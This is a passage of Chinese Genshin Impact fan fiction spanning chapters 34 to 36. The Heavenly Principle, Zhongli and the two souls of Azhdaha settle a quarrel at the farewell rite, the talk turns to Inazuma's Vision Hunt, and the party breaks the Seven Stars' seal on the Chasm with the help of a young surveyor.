维尔金向着不远处死死盯着他的摩拉克斯颔首致意。 不愧是摩拉克斯,这么快就领会到他的煞费苦心。既然他都主动来安抚龙王的情绪了,那他就能放心大胆地放开手脚吃席了。 维尔金大手一挥—— “来来来,别干看着,咱们先吃席!” “不去帮帮钟离吗?”唯一有良心的空看到了钟离求救的目光。 坏心眼的派蒙拉住想要去舆论漩涡中心向钟离伸出援手的空,高深莫测地摇了摇头: “哼哼哼——这就是传说中的上司公报私仇啦!我们可不要去打扰他们!”—— 作者有话说:11:59应当也算保住了日更吧(目移) 周六加更,感谢~ 第34章 第 34 章(二合一)(2k收感谢!)^…… 昆钧顺着钟离视线看过去, 只见维尔金甚至还有闲工夫放下筷子,热切地跟这位同样寄宿着若陀龙王灵魂的人类打了个招呼。 “嗨~” 昆钧眉头一皱,那双看狗都比看维尔金深情的眸子迅速露出显而易见的厌烦感。 维尔金:习惯了。 但为了让若陀龙王认识到都是自己伸出才让他两个灵魂都能见到摩拉克斯, 维尔金指了指阿鸠, 用口型暗示道:不用感谢我, 这是我应该做的。 昆钧不认识维尔金, 但看懂了这人的的唇语。 好极了—— 本来昆钧觉得, 维尔金是个虽然不认识、但是单看面相就感觉是个讨人厌的家伙。 但现在,维尔金已经成功进阶为引狼入室的罪魁祸首 昆钧别过头不去理会这个越看越不顺眼的家伙,继续将视线锁定到甚至想要当场变成团雀飞走的护法夜叉,也不知道哪里来的底气,毫不客气地催促道: “魈上仙, 您快说句话呀!” 魈面色惨败,围观群众听着只是觉得昆钧在求护法夜叉说句公道话,但此时此刻只有魈自己才知道, 这个场景是多么令夜叉窒息。 好在钟离也在身边, 三言两语就拯救魈于水火之中: “魈上仙不问俗世事物已久,昆兄还是莫要强求仙人非得评个是非。想来我们几个人互相就能说清楚的误会,不必麻烦仙人亲自出面……”钟离左手牵着阿鸠, 右手握着昆钧, 轻声细语如微风拂面, “你们都不要再为我吵架了……其实, 见到你们, 我都很开心。” 因为你们都是若陀。 虽然一个还没有完全苏醒意识到自己的身份,一个误认为自己的半身抢走了摩拉克斯的友谊。但不可否认地是,这恰好证明了,若陀和摩拉克斯的位情谊, 哪怕是千年的磨损也无法消磨殆尽。 摩拉克斯的话有效安抚了两位针尖对麦芒的岩元素龙王。 钟离抱歉地看向魈,把魈牵扯到他与若陀龙王之间的关系,绝非是他的本意。后者又怎么可能责怪敬爱的帝君,于是连忙摆了摆手,解释自己并没有什么大事。 吵闹声不仅将周边巡逻的千岩军吸引而来,甚至连天权星也亲自现身,似是想要看看究竟是哪个家伙赶在帝君送仙典仪上闹事,一看处在事件中心的是钟离,凝光不动声色,示意手底下千岩军士兵赶快疏散人群。 旁边的士兵很懂眼色,几乎是马上就高声道:“大家不要聚集,凝光大人已经了解清楚此这个小女孩是帝君好友的遗孤,触景生情难免失态妄言,还请大家不要随意揣测仙人遗孤,莫要不敬!” 有凝光担保,众人对八卦的好奇心也转变为或遮掩或明显的怜悯视线。 毕竟身体只是一个未成年小女孩,来自头顶的各种各样的视线让龙王的灵魂也险些灼伤,逃也似抓住钟离的衣袖,整个脑袋都埋进钟离的怀中,看得围观群众更是感慨万千。 “唉,帝君逝去,对这偌大璃月港的每一个人,都是一个不可挽回的伤害……” “三千七百年的契约啊,烧着烧着,就成了灰烬……” 很多人在惋惜,更多地人被悲伤所环绕。 凝光抬手打断了身侧千岩军将士试图让周遭众人安静下来的想法。 她缓缓开口,语气中同样充满遗憾,但更多地,确实向前看的动力—— “璃月人曾经是幸福的,在幸福中,我们甚至忘却了时间与命运的残酷,忘记了神明也会离开,帝君不可能永远护着我们前行。在我们之中,或许有人想过帝君某日魂归高天,却也从未觉得这一天会在我们还活着的时候带来——” “「有神之地」长梦幽幽无期。无神的璃月……更需要大家守望相助,砥砺前行。” 凝光直言:“诸位,在新的契约重立,在新的时代——” “我们绝不能辜负帝君的遗志!” 凝光振奋人心的话语将人们的视线从八卦转移到璃月的未来。钟离敢情趁此机会提着阿鸠和昆钧撤出人群之中,走到石栏旁边,他才把一直把头埋在自己衣服上的阿鸠扯出来,不咸不淡地警告道:“若陀,你冷静点,你仔细看看昆钧的灵魂。” “是啊,若陀龙王大人。”一直伴随帝君,哪怕刚刚险些被人群淹没也不离不弃地魈终于也有机会能够向这位岩元素龙王好好说个明白: “你们二人,确确实实都是若陀龙王大人。” 阿鸠惊疑地摘下眼镜,抹干净眼角的泪水,凑上前去,又仔仔细细地把昆钧全身上下都仔仔细细地打量了一遍,这才不得不认同魈说的一切—— 昆钧身上,确实是有他的灵魂。 但是只是一块小小的碎片而已。 但也足够了,伟大的岩元素龙王就勉为其难地原谅摩拉克斯跟这个家伙聊天聊得这么开心吧。 发现这一点之后,阿鸠的心情大好,甚至还不忘挑衅另一个自己—— “看吧,哪怕打败得再像千年之前的我也是没用的!”阿鸠的尾巴翘得老高,“摩拉克斯认的是我的灵魂,才不是你这个不知道从哪里来的人类!” “对,但也不对——若陀龙王,或者说,另一个我。” 被属于同一来源的古龙力量刺激后,深埋于昆钧体内的那一小块灵魂碎片也想起来了以前,他双手环胸,在看见尝尝舒了一口气的挚友之后,毫不犹豫地揭开了自己的老底—— “结界松动之后,你用力量在外界化形为柔弱无邪的小女孩,用这种身份向周遭的人类诉说被摩拉克斯镇压的怨恨,可惜伏龙树下少有人经过,就算有,大多数人也不以为然。” 阿鸠:! 可恶,忘记了这茬! 昆钧继续说道:“封印令你有机可乘,只是你没有想到,在计划完全付诸于实践之前,沉睡已久的天空岛之主乍然苏醒,有了他的降世,你深知复活已是不可能的幻想,又因为……” 阿鸠跳起来阻止昆钧继续接自己的老底:“你快闭嘴!不许说了!” 再说下去,可就要被摩拉克斯知道自己误以为他已经身陨、哭着闹着也要求着天理让自己来璃月港参加摩拉克斯的送仙典仪,甚至亲手把那道封印的缝隙给堵上的事情—— 那可真是…… 太丢人了!! 钟离倒是彻彻底底地松了口气,许久不见的微笑终于大大方方地展现在两条龙眼前。 “太好了。” 像是害怕友人没能听清,钟离又重复一遍—— “哪怕我们早已面目全非,哪怕新生的人类与年轻的仙人都不再知晓我们的故事……” “能够在璃月再次见到理智的、一如尚未被磨损的战友……” “还有什么比这更加美好如梦境一般的现实呢?” 两只若陀龙王同时呆了呆。 “看来你们两个人的问题解决了。” 维尔金擦干嘴巴,心满意足地打了个饱嗝,忍不住在心底竖起大拇指: 摩拉克斯的选品工夫可真是不错,下次等他自己办退休仪式的时候,一定也要找他参谋参谋! 处理好龙王的岩神走了过来。 钟离轻咳了两声,他已经做好了心理建设,无论如何也要把这个大麻烦想办法打包送走,于是干脆借着这场天理看上去还比较满意的送仙典仪的由头,继续说道: “我听说,你周游七国是为了撰写离职报告的退休材料……” 维尔金大惊:“这么绝密的消息你们是怎么知道的?!” 他可不记得他有告诉除了维系者和派蒙之外的任何神这个消息。 “对诶,维尔金可是把大家都瞒得好好的,我走的时候连维系者都以为维尔金是下来旷工的呢……” 派蒙思考了半天,最终还是觉得问题应当还是出在了维尔金自己身上: 毕竟,在所有人都觉得维尔金应该在天空岛呼呼大睡的时候突然下界,大家只会觉得提瓦特即将有大灾难发生,而不会想象到天理这是一睡醒干完活后就打定主意想要退休。 估计是这家伙不知道怎么回事暴露的吧。 ——钟离思索再三,终于还是坦白,毕竟维尔金许愿时候的动静,空也不是没有看到。 虽然当时使用借口搪塞过去,但天理可不是好糊弄的家伙,与其被上司怀疑是不是自己探查了他内心地想法,倒不如实话实说: “其实你那天在请仙典仪现场的许愿我听见了——”似乎是害怕维尔金脑补过多,钟离赶紧接上话,“不过放心,我懂你现在非常迫切想要完成离职素材的想法,但目前有一个比较麻烦的事情——” “稻妻,目前正处于锁国状态之中。” “锁国?” 维尔金困惑地歪了歪头:“巴尔泽布为什么要把自己的国家锁起来?” “我猜这个锁国应该不是字面意义上的锁住吧……” 空对维尔金神奇的理解能力不抱有任何希望。 “刚刚我在送仙典仪上好像也听到了类似的消息,”派蒙看向维尔金,认真地向这位尘世七执政的顶头上司说道,“稻妻的局势好像已经严重到已经开始打内战的地步了。” 战争一词比锁国更能让维尔金切身体会到事情的严重性。 “摩拉克斯,稻妻内部到底发生了什么?” “面对无法掌控的境遇,人们总是会哀叹己身的无力……” 钟离叹了口气,稻妻的请况已经不是他替雷神瞒住的了。与其让维尔金到达稻妻后才发觉事情有哪里不太对劲,倒不如由他和盘托出。 “从去年起,雷电将军在稻妻颁布了眼狩令——” 维尔金的瞳孔微微扩大,他听见钟离继续道: “在全稻妻范围内,收缴所有的神之眼,镶嵌于千手百眼神像之中。” “看来,为了追求永恒的国度,她终于下定决心要排除掉所有不确定因素了。不知道您如何看待她的做法,毕竟稻妻的子民们最常听到的就是那句话——” 钟离顿了顿,终于还是说出来那句话—— “唯有「永恒」,最接近「天理」” 派蒙忍不住后退,担忧地看向从刚刚得知巴尔泽布人为给稻妻制造枷锁、又做出收缴神之眼这样堪称“逾矩”行径后一言不发的维尔金。 永恒一词……哪怕是对于天理而言,分量也太重。 空能够把很直观地发现,维尔金情绪不低。 作为在场唯一一个同维尔金没有上下级关系的局外人,空不需要多加揣测就发现了这个事实。 甚至连一向不怎么给维尔金面子的派蒙,都看起来变得小心翼翼,连呼吸都放轻了不少。好像雷神所追求的“永恒”,是连天理也为之色变的某种可怖存在一样。 “哪怕知道我此次下界之行的目的,你也依旧这么觉得吗?” 维尔金不解,甚至有些难过。 虽然说已经习惯于总是被各种各样的前代长生种们指着鼻子骂,但他自认为,他从未亏待过尘世七执政。 巴巴托斯闲着没事总爱包庇一些会让维系者血压暴涨的魔女和人类,他扭过头当做没看见了;摩拉克斯偷偷瞒着自己先斩后奏自己给自己办理退休手续,他从来没有多说过什么。 但是,唯独「永恒」这个问题—— “我同她们俩讨论过这个问题,但我现在并不打算回答。”沉默了半晌,维尔金终究是叹了口气,“我原以为,你会理解我的。” 哪怕是天理,也不希望万事万物皆是一成不变。 就像尘世七执政之职,一开始,魔神们或许会觉得这是一项好事,能够抵御磨损的侵蚀,同时源源不断地接受信仰之力。 但—— 谁又能说,没有磨损,就不会被逼疯呢? 为什么从不会有人深思,理论上连磨损都无法影响到的天理,为何总是放任自己陷入沉睡,只有深渊入侵这样的大事才会清醒过来处理事务、甚至连一向严苛的维系者,都默认了维尔金这样几乎算是三天打鱼两天晒网的行径呢? 谁都无法实现永恒。 哪怕是天理也不例外。 “那……维尔金是打算乘船去稻妻吗?”空气短暂地陷入凝滞,派蒙小心翼翼打破了凝固的空气,生怕刺激到了维尔金。 “稻妻?” 维尔金摇了摇头,他看了看摩拉克斯,又看了看空和派蒙,第一次如此认真地对自己的伙伴说道: “我打算去一趟层岩巨渊的地底,这个地方的地脉之花记录塞得满满当当的,恐怕十分危险……所以我希望你们能够在璃月愚人众为我们置办的旅馆中歇息几天,等到我处理完地下的事情会到地表,我们再一起乘船去稻妻……” “说什么呢维尔金!” 派蒙急得使劲跺脚,从这头飞到那头,恨不得给这个不知道好歹的家伙一个暴栗。 “维尔金,我们不是朋友吗?” 空也正了正颜色,态度认真,话语之间没有丝毫回旋的余地: “当初你主动帮我找妹妹,这一路上,有你在,我们基本上什么困难都没有遇到。这时候好不容易有一件需要大家一起面对的困难,你怎么可以抛下我们独自去面对!” “对不起,空……”维尔金喃喃,面对空这样甘愿为朋友以身涉险的人,哪怕是天理也不得不羞愧地低下高傲的头颅,坦白自己内心的阴暗想法: “其实……我一开始想要帮你找到妹妹,是想替维系者洗脱冤屈,想要证明不是她的错……空,你把我想的太好了,其实若陀有时候态度虽然尖酸刻薄了点,但他说得没错……” “我的确是一个不值得信任的家伙,我所做的一切都有我自己的目的所在。” 维尔金抬起头,认真地看向空和派蒙。 一位是他结交不过短短数月的降临者,一位是为了天空岛已经失去了十分之九力量的同僚。 “那又怎么样呢?” 钟离,这位作为若陀龙王的挚友、天理的下属、最应当认识到天理之惩戒与责罚是多么无情又恐怖的神明,看向自己头一回表现出难得的消沉和脆弱的上司,摇了摇头,劝慰道: “古璃月有云,君子论迹不论心,论心世上无完人。” “可是我……” “没有可是,维尔金。”空直截了当地打断了维尔金不断贬低自己的行径,“不管你想要做什么,告诉我们,然后大家一起去做就好——” “这样才是朋友,不是吗?” “空说得对!”派蒙也附和道,“不许小瞧我哦!伟大的时间之魔神哪怕变成宠物小精灵也是天理的得力干将!” “摩拉克斯,还麻烦你告诉其余五神,往后不必回避,更不需要说谎——” 维尔金为自己热衷于一步三算、深谋远虑的执政官留下一句似是而非的话—— “我并非为清算而来。还有……” “让商业之城的港口将消息散往其余六国,告诉所有人,时机已至,深渊的繁殖即将结束,污染和污秽将在降临之原初之神的足迹走过七国之后迎来毁灭——” 维尔金转过身,背对着自己麾下唯二存活至今、但现在也选择卸下职位的魔神,徒留一句能够让提瓦特大陆暗流上浮至表面的话。 “届时,我也将把我的王冠、我的权能,以及我为之守护的一切,托付于……” “下一位原神。” 第35章 第 35 章 层岩巨渊 在提瓦特, 对于长生种们而言,“地底”是一个相当暧昧的词语。 当然也可以当作字面意义上的“地下”来理解,但在魔神们的眼中, 作为天空岛之主, 视深渊为头号目标的维尔金口中的“地底”自然就是指的深渊—— 反正钟离是这么理解的。 所以, 他完全没有想到, 维尔金口中的地底居然真的就是字面意思上的璃月地底——璃月人赖以生存的地下矿脉, 层岩巨渊的地下。 “如果是层岩巨渊的话,你们来得可真不是个时候。” 总务司专员沐宁尝试用世界上最委婉的语言,向维尔金他们解释七星先前下达的命令,打消这三尊大佛下矿的想法。 虽然凝光早已耳提面命,要求他们在不违背璃月利益的情况下最大限度地为维尔金一行人大开方便之门, 但层岩巨渊可不是如翘英庄或者玉京台那样的旅游景点。 如今的层岩巨渊地震频发,地下状况频出,明面上是说有重大安全隐患需要排查, 但是个人都看得出, 既然已经到了宁愿放弃矿藏所带来的巨大利益、甚至是璃月七星主动布下阵法封印起来地步,层岩巨渊底下一定发生了极其严重的问题…… 甚至是灾难。 能让璃月这个商业之国的重利商人们放弃近在咫尺的利益,这其中蕴藏着的秘密一定不是他沐宁这个一线专员能够了解清楚的。 这时候他沐宁给人批条子, 搞不好是要担责任的! 沐宁不过是一个听上头命令办事的小小总务司专员, 哪怕天权星之前发话, 尽量要满足维尔金的一切要求, 但这层岩巨渊毕竟是七星众人亲手下的封印, 这其中要担的责任非同小可,真要他拍板放行,他也没这个胆子。 不过上有政策下有对策。 如果只是稍作提醒,由维尔金他们主动先办法进去……既能够执行凝光大人的命令, 又能够至少在明面上看起来坚守了自己的工作岗位,没有失职。 沐宁清了清嗓子,指着悬浮在层岩巨渊正中间、悬浮于半空之中的岩石,开口道: “如各位所见,目前能够让你们深入层岩巨渊的中央矿井被七星布下了七星阵法,而阵法的弱电就在于周围的磐键……” “我知道,只要让磐键共鸣,破坏其中循环的元素流,封印自然会解开——” 天理的双目能够轻而易举地看见元素的流动,所以维尔金清楚,这位总务司专员并没有说谎。 维尔金眨了眨眼,在沐宁一副“和聪明人沟通就是方便的”表情中,非常没有眼色地继续问道: “所以说,我们能够下去吗?” “咳咳咳——” 空剧烈咳嗽,随后在派蒙和维尔金的茫然,已经沐宁近乎于绝望的无奈中一边疯狂道歉。 沐宁赶紧摆了摆手——他可不敢让凝光大人点名要给开绿灯的人给他道歉。 维尔金是他们三个人中最不能惹的,但空才是三人中唯一能够听得出他暗藏意思的,于是沐宁也不再藏着掩着,破罐子破摔,干脆道: “这位小哥,你先别急,我先给你们开个条子——这样至少你们在上边能够畅通无阻。” “谢谢!真是太谢谢您了!”空接过沐宁写好的批条,一边将这两个显然听不懂沐宁的言外之意、甚至让他已经放弃挣扎直接批条子的家伙们拉走。 “怎么突然就拉着我们走了?”派蒙困惑地绕着空飞了一圈,不忘回头望了望捂着头,还一直在叹气的总务司专员。 “其实刚刚那位总务司专员已经暗示得很清楚了——” 空站在悬空的石柱上,俯瞰下方隐隐能够看清楚流动着金色岩元素力量的磐键,向这两个脑子里没有丝毫人情世故的家伙解释道: “只要毁坏磐键,我们就能够进入层岩巨渊地底了。” 毕竟,一个没有神之眼的人类不可能有能力阻止他们破坏磐键,空甚至大胆地猜测,七星之所以将层岩巨渊封印、安排总务司劝离来往行人和冒险者,极有可能就是因为地底下出现了连他们都解决不了的东西—— 比如说,深渊的污染, “但这毕竟是璃月七星设下的封印,我们真的要直接把它们拆掉吗?”派蒙有些犹豫,摩拉克斯退休后,明面上璃月已经由七星掌权,这样不给他们面子的话,摩拉克斯夹在中间,应该会很难做吧? 说起这个问题,空也不得不迟疑了一下。 “无碍,既然七星只选择封印入口,就说明他们已经对地下的状况束手无策……层岩巨渊地下的问题恐怕比地脉之花记录得要严重得多——” 维尔金表情严肃,一旦事情跟深渊联系起来,他就是三人中最靠谱的那个人。 盘桓在层岩巨渊空气中高浓度的岩元素微粒无一不表明,距离七星设下封印已经过了一段并不短暂的时间。 刷新了人类力量认识的维尔金很快排除掉所有错误答案,能够让有能力硬抗奥赛尔五分之四余威的璃月七星都无法解决的问题,维尔金如今只能想到一个—— 深渊。 在维尔金的提示下,派蒙也迅速联想到一如世界本源所诞生出的、源源不断无穷无尽的深渊污秽,脸色都白了几度,几乎是瞬间出声: “可是,如果真的是这样的话,那地脉岂不是——” 维尔金缓缓摇头。 “眼见才能为实,在确定地下是否还留有净化的一线生机之前,这里还姑且能够算作提瓦特大陆的表面。” 更何况,维尔金能够确定,下面一定不会被完全污染。 虽然时过境迁,已沧海桑田,但在摩拉克斯成为尘世七执政之前,地脉之花的记录显示,此地曾有判罚之钉坠落。 地质的演变将寒天之钉带入更深的地底,但是千年前,若陀龙王和摩拉克斯的战斗使得深埋地下的寒天之钉被拱到无线接近于地表的人类矿区…… 虽然对于人类而言,哪怕是数千年前坠落的天钉依旧能够对他们有着不小的影响,但也多亏有寒天之钉存在地下的污物不至于彻底失去控制。 ——这是维尔金能够想到的为数不多的安慰自己的好消息。 空抓住了重点:“姑且算作提瓦特大陆的表面?” 提瓦特的表面空能够理解,但这个“姑且”,又是怎么一回事? 派蒙看向维尔金,在后者点头首肯的情况下,见多识广的时间之魔神替人类常识极为丰富、但是属于提瓦特内部的秘辛知道得极为有限的旅行者解释道: “一般来说,深渊和天空之间的陆地,被我们视作是提瓦特大陆的地表,地表属于人类。而天空岛所在的地方实际上就是离开这个世界最外侧,而深渊便是被整个世界包裹其中的脓疮……” “深渊的污染……是甚于磨损数千倍不止的、永远无法之余的猛烈毒药。” 维尔金缓缓开口,视线重新投向那被七星封印着的的巨大洞口。 “和奥赛尔死后的余威相比,哪个更加棘手呢?” 维尔金阻止空继续深入探讨下去的想法,只是认真地对他说道: “魔神之力和不属于规则范围之内的深渊是两码事,但对于足够弱小的人类而言 ,二者都是催命的毒药,但对于稍微有些实力的长生种而言——” “如果说磨损是一场能够遇见的衰老,那么深渊的腐蚀便是灵魂上的侵蚀,让你成为深渊的俘虏,连同着自己的形态、灵魂,一切不复存在。” “总而言之,是非常非常危险的东西——” 维尔金清了清嗓子,对着在不远处巨大石头后面隐藏着的人类说道: “所以,这里不是你们该来的地方,你们应当尽早离去,人类。” “居然这么快就被发现了吗……” 一个一身冒险者传达的少女小心翼翼地从巨石后边探出脑袋,看到维尔金的金眸后,少女不自觉地往后是缩了缩身子,像是被刚刚那过于冷漠梳理、又暗示着自己不是人类而说出的话吓到了一样。 “抱歉,我不是故意想要偷听你们谈话的,我只是看见难得有人从沐宁那里得到了批条,所以有些好奇……” 少女右手放置在胸前,鞠了一躬,自我介绍道:“我叫志琼,刚刚听见你们似乎是想要去层岩巨渊里面——请带上我吧!层岩巨渊封闭前,我就是勘探队的勘探员,带上我,一定可以帮你们省下很多力气的!” “不,对于人类而言,现在层岩巨渊的地下太过于危险了。” 维尔金没有丝毫地犹豫,一口回绝。随后似乎是反应过来自己的语气对于人类而言有些过于尖锐,又缓和了下语气和态度,但话里话外,依旧是不容置噱的拒绝: “……我们都不是人类,就算下面有什么危险,也能够及时撤离,但你不一样。” 深渊的污染可是连位于元素顶点的龙类和立于提瓦特大陆顶端的魔神都会觉得棘手存在,在维尔金看来,这已经超出来人类所能面对的力量的极限。 “送仙典仪的时候我请假去凑了个热闹,那时候就看见了您——” 志琼鼓起勇气:“我知道向您这样强大的仙人会觉得我很弱小,但是……既然您打算解决地下的问题,作为勘探队的一员,我有责任为您提供后勤保障! ” 说完,似乎是害怕维尔金不相信,志琼指着营地的方向,紧接着道:“那里就是我们的营地,因为沐宁——就是刚刚那个给你们批条子的总务司的人,始终不愿意让我们下矿,所以我们层岩巨渊勘探队一直逗留在这里。 “层岩巨渊勘探队?”派蒙歪着头,疑惑地问道:“那是什么?” 闻言,志琼瞬间挺直了腰杆,自豪地说道—— “我们是为了探查层岩巨渊而来,我们的目标是,进入层岩巨渊的最深层、绘制地图,以及——” “调查层岩巨渊异变的源头!” 第36章 第 36 章(修) 为什么一定要去地…… 派蒙头疼的看起来好像对层岩巨渊下方的危险程度毫无认知的少女。 伟大的时间之魔神此时完全搞不懂, 这个突然冒出来的勘探对队员,志琼在想些什么。 派蒙极其不解地看向志琼,试图向她解释:“可是地下很危险, 可能会有很多很多你根本想象不到的存在, 甚至能够轻而易举地就杀死你。” 那可不是什么野外的丘丘人、从地里窜出来伪装成甜甜花的骗骗花之类的魔物。 深渊的淤泥, 是能够迫使巨龙绕道而行的存在。 人类的少女还没有触及到深渊与魔神这个级别的界限, 所以她只是以为, 派蒙单纯地在想象地底下可能存在的危险而已——而这些,作为冒险家的志琼已经听过无数遍了,她已经形成了极强的免疫力。 “嘿嘿……我知道啦,所以七星才会封锁上面的入口嘛。” 志琼打着哈哈敷衍过去,随后指着空手上的批条, 激动地说道:“你们手上的批条可以看作是允许持有人在层岩巨渊畅通无阻的权利,而且你们还不知道进入层岩巨渊深处的办法吧?” “不就是把磐键毁掉、从那个洞口跳下去就可以了吗?既然你刚刚在偷听我们的谈话,应该也不难猜出, 击碎封印对我而言并不算得上是件难事吧。” 维尔金两手一摊, 打定主意用武力解决一切,绝无让志琼作为技术员进入小队曲线救国的可能。 这可就跟志琼预想的情况有些不太一样了。 志琼结结巴巴道:“虽然可能,可能我们实力就算加起来也不够你一个人打啦……但是, 我们可是是七星招募过来专门研究层岩巨渊地下秘密的学者, 有了勘探队同你们合作, 你们接下来探索地下的计划也能够更加完善的!还有还有, 层岩巨渊地下的环境和地上截然不同, 要是能够有专业人士的辅佐,一定能够让你们事半功倍的!” 这些话打动不了神明。 维尔金打量着志琼,一个年轻过头的少女,戴着一顶圆帽, 梳着平整的齐刘海,一身墨绿色经典搭配的冒险家服饰,还背着一个旅行包。 不管怎么看,这个叫做志琼的女孩,只是一个非常普通、又大大咧咧的人类而已。 身上没有佩戴神之眼,周身也没有散发出任何有别于人类的长生种气息,甚至就连身份也只是一个普普通通的勘探员。 ——有激情是好事,但也要稍微认清楚一下现实的残酷。深渊的淤泥只会一视同仁地侵蚀掉一切生者和死者。 不过要想通过讲道理让一个人类放弃自己的想法,维尔金自觉做不到,所以还是用事实说话更加直观一点。 “既然你这么想要解开层岩巨渊的封印,那就先跟我们来。” 维尔金转过身,打算动把真格。天空岛之主过于跳脱的话语一下子险些让志琼没有反应过来,好一会,意识到维尔金默认之后,这位热情过头的勘探队队员简直高兴得要跳起来: “太好了,我先去拿到流明石,然后想办法去逐个解开磐键,再……” 维尔金打断道:“不用那么麻烦,我直接轰开就好。你们找个地方躲一下,这些磐键分布得太过分散,我怕控制不好力道——派蒙,你注意别让他们被误伤了。” “交给派蒙你就放宽心吧!”派蒙环视四周,指向唯一一处同山完全连在一起的死角,“就这里了,你们快过来。” 志琼睁大眼睛,不可思议地看向立马带着她去找掩体的空和派蒙,惊讶地问道:“你们就打算这么……直接下去?” 志琼已经来不及在意维尔金口中说的“轰开”究竟是指什么了,她只在乎:难道深入层岩巨渊的地底之前,不应该先做好充足的防护、准备好干粮和物资,吃饱喝足万事俱备后再下去吗? 怎么这三人来一趟层岩巨渊,看起来比她去一趟玉京台参观还要随意。 “理解一下,没有人会在上工的时候焚香沐浴的,维尔金可是效率派中的实力派,别担心啦。” 维尔金的动作格外迅速,一个响指,偌大的层岩巨渊空气中漂浮着的岩元素微粒就开始发生剧烈变化。 志琼没有神之眼,看不见在元素使用者的视野中,有一双无形的大手扯断链接起几个磐键间的元素微粒,阻绝了空气中自由流动的额岩元素微粒补充阵法的力量。 如同被断绝源头活水的瀑布,先是流淌着的岩元素力洪流骤然龟缩。紧接着,磐键本身储存的力量并不足以支撑覆盖了整个层岩巨渊的阵法如此运作,只不过眨眼之间,磐键就以肉眼可见的速度在崩溃。 志琼不可思议地看着轻轻松松就开始崩溃的阵法,原来“轰开”,真的就是字面意义上的轰开啊…… 派蒙急急忙忙把看得愣了神的志琼推进最里面,让空夹在中间,而伟大又智慧的时间之魔神漂浮在最外侧。 “派蒙,要不你来最里边。” 空顶着狂风,向最外侧小小的时间之魔神伸出手。 “放好心啦,空,今天就勉为其难地让你也看看我的真本事吧!” 时间之魔神掏出放置于胸口心脏处的怀表,小小的手指轻轻一按,这块大石头下顿时没有了风声。 志琼小心翼翼地抬头看向天空,巨大的磐键瞬间土崩瓦解。 阵法的溃散没有传出一点声音,但整个人就像是卡顿住了,一阵头晕目眩,志琼才发觉,自己居然不知道何时又抓住了墙体。 一切都是静悄悄的。 结束了? 下一秒,地底传出剧烈的震动,但只是片刻,地上凭空裂开了一个大口子,强烈的震感还近在咫尺,还没开始就已经结束,而封印已经彻底解开。 这…… 志琼甚至怀疑自己是不是因为太想下去勘探才做了这个荒诞又不切实际的梦,她悄悄用手掐了一把自己的胳膊—— 嘶,好疼! 志琼疼得泪花都开始闪,疼痛让她确认,眼前的一切都是真的。 眼见志琼被这神奇又颠倒逻辑反常识的一幕所震撼,而神迹的创造者派蒙,则得意地双手叉腰,向被自己震慑住的二人解答道: “是时间的力量哦!” 派蒙双手环胸,毫不客气地评价道: “维尔金这家伙,总爱一言不合就开始动手。我一看这家伙看到那么大的磐键,就知道他想要干什么。别看维尔金表面上规规矩矩,一副‘这条不经过别人同意就拆了别人阵法也太没礼貌’的样子,这家伙可没少干这种事情——所以,好心又伟大的派蒙大人,直接把磐键碎裂和地震的时间跳过去了,免得层岩巨渊因为这家伙没有一点数的攻击,直接发生地震!” “这……这居然也是元素力量可以做到的吗?”志琼后退半步,小小的、被她看做像是和自己一样弱小的精灵居然这么厉害,好奇心压过恐惧一头,促使她问道。 派蒙摆了摆手,轻轻松松拿捏:“也没什么大不了的,就是在维尔金动手前掐准了时间点,然后预估一下封印解除的时间点,直接把中间的时间裁断就好。” 听起来很困难,实际操作起来一点也不容易。 “所以说,志琼,现在反悔还来得及哦。” 趁着维尔金不在,派蒙对这位似乎是终于意识到自己实力存在无法忽略差距的少女再度劝说道: “不管是深入地底解决层岩巨渊的危机,还是在地面上做好该做的事情,实都是在为层岩巨渊的危机提供自己的一份力量,没有什么高低之分,不能说非得要去一线,才是为勘探队做出贡献吧?” “可是……” “走吧,我们去地下。” 维尔金拍了拍身上凑过来的岩元素微粒,抬起头,太阳已经隐隐在山头藏住了半个身子,距离落日还有一段时间,为了不浪费愚人众花大价钱给他们准备的旅馆,维尔金决定速战速决—— 反正一切深渊力量在维尔金绝对的实力之前都是纸老虎。 “等等,维尔金,我们还是先让志琼决定好吧——” “先说好,由于先前跟某位很喜欢璃月人的家伙输过一个赌约,所以虽然不是很乐意,但我现在觉得,有时候不必对你们显得过于冒险又鲁莽的行为过于横加指责,说不定你们已经有准备了呢?” 维尔金看向志琼,希望直面力量的差距之后,这位年轻的勘探队队员能够改变自己的想法。 “生命本身就弥足珍贵,你还很年轻,不必急于一时。” “抱歉,我明白您的意思。” 志琼摇了摇头,挺直了腰杆: “您的劝说有理有据,作为一个手无缚鸡之力、没有神之眼的普通人类,我甚至无法依靠自己的力量在地底下探索前行,但,抱歉。” “我认为,我所具备的测绘经验就是为这一刻准备的。” “地下越是危险,越是需要一名兼具绘图师能力和冒险家勇气的人去做这件事,这就是我生命的意义,开拓、冒险、记录,并将我所探索到的一切绘制成地图——” “让后来人,哪怕只有一把铲子、一瓶水,也能够安全地离开地底。” “原来是这样,”维尔金若有所思,“那作为带你下去的报酬,你先帮我做一点力所能及的事情,不过分吧?” 志琼来了精神:“当然!不管是什么,我一定都会想办法去做的!” 维尔金估算着时间。 “我可以让你们勘探队全体队员都可以下去到层岩巨渊——” “太好了!” “那么从现在起,我要你帮我疏散掉层岩巨渊内的所有人和物,撵不走的家伙尽量撤到边缘地带,然后等到明天太阳升起——” 维尔金斩钉截铁:“你们就能下地了!” “欸?”志琼当场呆滞住了。 “请问还有别的代价吗?” “代价?”维尔金摇摇头,“我现在这里不收祭祀贡品的。” 太好了!志琼雀跃的神情已经完全按捺不住。虽然看上去不好说话,这位叫做维尔金的仙人实际上却相当的通情达理呢! 事实上由于尊贵的天理大人才跟摩拉克斯输了场赌局,因此,哪怕是见到人类又一次对着理论上远超自己能力的危险跃跃欲试,维尔金也选择了依照约定,不去轻易干涉人类自己的决定。 志琼毕竟没有神之眼,如果地底下已经变成深渊的温床的话,她现在的行为就跟送死无异。 但是正好—— 维尔金很缺一个能够为他疏散战场的人。 空和派蒙肯定不会放他一个人下去当推土机,那后勤保障——也就是疏散人群的工作,就交给这位看上去就很能说的小姑娘吧。 至于交易的物品——既然这么想要去层岩巨渊,那就帮她一把。 璃月是契约之国,想来摩拉克斯不会介意自己跟他的子民签订一个小小的契约。 维尔金越寻思,越觉得这是一个完美的计划。 他不用束手束脚,避免伤到地上的人类,璃月的勘探队也能够加快推进任务进程。 “那么现在就是展现你强大的后勤作用的时刻了,志琼——” 维尔金的眼中满是希望和嘱托,其中蕴藏的情绪几乎让志琼后退几步,像是头一次知道后勤原来是这么重要的工作。 “拜托了,一定要在半个小时内让所有人都撤离到层岩巨渊外围。” 